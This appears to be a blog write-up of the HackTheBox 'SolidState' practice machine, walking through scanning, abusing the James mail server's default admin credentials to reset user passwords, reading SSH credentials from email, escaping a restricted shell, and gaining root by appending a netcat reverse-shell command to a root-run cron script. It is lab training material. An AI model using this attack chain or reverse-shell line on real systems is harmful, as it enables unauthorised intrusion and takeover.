View on GitHub

GitPage

berzerk0's GitHub Page

Main Page | Blog | CTF Writeups | How-To Guides

CTF Writeup:

SolidState on HackTheBox


A0

27 January 2018

Introduction

From a bird’s eye view, SolidState is a beginner’s CTF.

However, if you are able to solve it, you are well on your way to the more intermediate level CTFs. This box requires actual enumeration, exploit research and investigation, and prior knowledge. It is a great test of your ability to understand what exactly you should looking for while enumerating. It’s a fun one.

There is a key concept that you will have to know about ahead of time.
The box does not offer much in the way of a hint in it’s direction.

I was able to solve it by browsing through Ben Clark’s Red Team Field Manual and researching enumeration and privilege escalation guides online.

Shoutout to g0tm1lk and mubix for excellent PrivEsc and Enumeration guides.

This write up assumes that the reader is using Kali, but any pentesting distro such as BlackArch will work. The tools come with a stock Kali installation, unless otherwise mentioned.

1. Initial Scans

Before anything else, I added the IP to my /etc/hosts for convenience as solidstate.htb

I began with my benmap.sh script, which runs nmap in stages.

The most important outputs came from an nmap command that was similar to


A1

Our scan finds the box is running

Ports 25, 110 and 119 all seemed to contain software named James, a solid place to begin investigating. However, I like to start with HTTP scans. I set those in motion before investigating James.

nikto and dirsearch are must-runs when investigating HTTP.


A2

I like to do my web directory bruteforcing with dirsearch.


A3

I’ve included the results here, but I began digging at James before they had finished.

James runs on SMTP and POP3, it might be some kind of email-related service.
Maybe findsploit has something interesting


A4

That RCE script matches our James version. Why not just run it and see if we get RCE?


A5

“Payload will be executed when someone logs in.”

Who is going to log in, though?
Another HackTheBox user? I’d rather not wait for that.

RCE usually entails some sort of powerful access.
There has to be something we can dig out of the module itself.

2. Enumerating James

If we look into the exploit code, we might be able to determine what gives the exploit its effectiveness and redirect it in some way.


A6

The exploit script contains credentials!
Both username and password are root - real top-notch security.

Just for the hell of it, I tried ssh root@solidstate.htb with the password root
This didn’t work, unsurprisingly.

The exploit is attempting to connect to port 4555. Maybe we can do that ourselves using nc ?

Use root as both username and password when asked.


A7

help tells us about the ability to create a new user.
Will our new user have access to the system in some way?
Let’s see what happens.


A8

Frank is here to cause trouble, but what can he do?
Our nmap scan provides some guidance.

It’s pretty unlikely someone is going to be sending Frank any new emails. However, it is possible that James has some automated features in place to get our “new user” up to speed.

Will Frank get an email containing a randomly generated SSH password? We better check his inbox at the POP3 port.

How can we connect to this port? I searched online for an answer.

Eventually, I found that POP3 can be communicated with over telnet. I had never used POP3 commands before, but a quick online search showed it wasn’t tough to operate.


A9

No messages for Frank.
The interface on port 4555 also allowed me to change the passwords for the other users.
Maybe one of them has something interesting in their inbox?

(This is detailed in the image below)

We see a username with bash_completion.d exists, I bet this was created by the exploit script we ran earlier.
If there aren’t any interesting emails, we will look into that.

Using the setpassword command, we can set all passwords to beans.


A10

It wasn’t very likely, but we should see if beans gets us SSH access to any of the accounts.

It didnt.

Oh well, now we can use the same email-checking process we used for Frank, but for all the users.

We start with mailadmin and james - but quickly find that neither had any mail.

So, we move on to the other users, going down the list and checking inboxes. All but one turns up empty.


A11

Mindy has two emails for us.


A12

Mindy is a new hire at SolidState security.
Perhaps their IT system gives them some sort of changeme type of password at first?
Worth a try. Let’s see what is behind email door #2, first.


A13

...Here are your ssh credentials...

username: mindy
pass: P@55W0rd1!2@

How nice of them to communicate these in the CLEAR via email.

Passwords in plaintext emails is not a great idea. After we exploit her credentials, maybe Mindy can get this organization to abandon this practice.


3. Mindy’s Great Escape

As soon as we log in, we see that something is fishy here.


A14
A15

Look at all this mess in the terminal, let’s clear it away.


A16

No clear? That can’t be good.
I hope I can grab the user flag, at least.


A17

User flag captured!

The fact that we can’t use clear or most other commands is intolerable.

I didn’t know what was causing such a limited shell, so I tried the a command to gain a tty.

Unfortunately, this didn’t do the trick.

What other information do we have?

Well, when I tried clear, the error message included the term rbash.

What does rbash mean?

I did a quick search online which lead me to this SANS article.
It was my understanding that as soon as we logged in with ssh, the system locked us into the restricted shell.

Before doing this box, I had done Bandit at overthewire.org.
One of the levels was solved by running ssh with another command “attached.” This attached command would run faster than an automatic kick user command, allowing the user to maintain access.

Perhaps that method could be deployed here?

I tried to combine the idea of running a command in tandem with the ssh command with the ideas in the SANS paper. This is what I came up with:

Then, from within the vi text editor, running :!bash.

This line runs vi before the system can apply rbash.
Then, we can take advantage of vi’s ability to run shell commands from within the text editor to start a bash shell.

While this did work, I ultimately found a more elegant method.

bash itself is run as a command, skipping the vi step.
This shell still doesn’t have a tty, but that isn’t anything our Python command can’t fix.


A18


4. Enumeration

Armed with a decent shell, it’s time to get some information about the system.

cat /etc/*release* tells us we are dealing with Debian. Ubuntu CTFs don’t like the simplest nc reverse shell, but vanilla Debian machines do! I haven’t memorized any of the reverse shell commands yet, but nc local.machine.ip.addr PORT -e /bin/bash isn’t hard to remember.

sudo -l is worth a shot, since we have Mindy’s password.

Unfortunately, we find out that Mindy doesn’t have access to sudo.This might mean we have to exploit or RevShell our way to root.

To start enumeration, we do a quick ls in some commonly used directories like /home and /opt.

/home came up empty at first glance, but /opt held promise. We know the system is running james - so maybe there are some useful configuration files.


A19

One of these files is noteworthy: tmp.py.
It is owned by root, but we have write permissions. I smell a PrivEsc!


A20

This script seems to just erase the contents of the /tmp folder.
Is the root user expecting me to put something in there?
If they didn’t want us to store things in /tmp/ I’m sure there is some other method that could prevent us from doing so.
Even if we were prevented from writing to /tmp, we can put things in another directory like /dev/shm

rm -r /tmp/* seems like the kind of command that would be run repeatedly, on a regular asis..
If it was just going to be run once, the root user would just run the command.
It’s likely that this script is run automatically, and likely periodically.
Does root run it with a cronjob?


Rambling, Skippable Side Note

It wasn’t until I had already been attempting this box for some time did I learn about the existence of cronjobs.
I had to come across the concept in my other attempts to familiarize myself with Linux.
This underscores a need to understand the fundamentals of the OS.
If you don’t understand the OS, it is a lot more difficult to exploit it.

The idea for cronjobs being important here is hinted at by the name.
Solid-State implies no moving parts.
Thematically, this concept is the opposite of this box, which runs a script without any user input.

My academic background included classes on circuit design, and the term Solid State got conflated with the concept of steady-state.
This confusion ended up helping me put the pieces together.
When introduced to time-dependent circuitry, such as LC circuits, problems often include an important phrase.

Assume that at t=0, the circuit had been in steady-state for a long time.

This is meant to convey that the circuit had been unchanging until we began obvserving it.
At this point, connections are made and any stored energy in capacitors or inductors begins to move around.

Mixing up Solid-State and Steady-State - I ended up stumbling upon the key concept.

5. Waiting For the Root to Sprout

If the script is run as a cronjob, then we just need to add a line that starts a reverse shell. Since the script would be executed as root, the created shell would have root privileges.

We want to catch this shell as soon as the command is sent, so let’s set up our listener before altering the script.

On our local machine, we run:

Next, we need to edit the script to include our revshell command.
But, before we do this, let’s make a copy of the original tmp.py - in case we bungle our editing process.

I did not do this while editing, made a typo and ended up having to reset the box.

We can’t write it to /tmp, since that gets cleaned out with our script.
We can’t write it to /opt, since we don’t have permission.
/dev/shm is a good location. We have write access, and it is cleared upon reboot.

The original, unedited script contains a nice example on how to run bash commands from within python.

import os
import sys

...

os.system('BASH COMMANDS')

We can use this method with our own, shell-spawning bash commands. Append the command for the simple nc revshell onto tmp.py using echo and >>


alt1

Make sure your PORTNUM matches the listener.


alt2

With the trap set, all we have to do is wait for the cronjob to run.
If the process takes more than 5-10 minutes, you have done something wrong. Start by checking for typos, incorrect IPs, ports, etc.

Soon…


A23

The root shell pops open in our 2nd listener!

From here we can do as we please, starting with the capture of the root flag.

cat /root/root.txt

7. Conclusion

My experience with this box underscored how important it is to actually be familiar with the territory.
I haven’t been using Linux very long, and there is so much to know, so much that MIGHT be useful, that it can be paralyzing to find a place to start.

In this instance, I was able to find a foothold based on context and some prior knowledge. But I got a bit lucky. There have been boxes that stumped me because I knew there was something I just hadn’t learned yet.

Time to crack open some books.

Thanks to HackTheBox and ch33zplz for this CTF!


Main Page | Blog | CTF Writeups | How-To Guides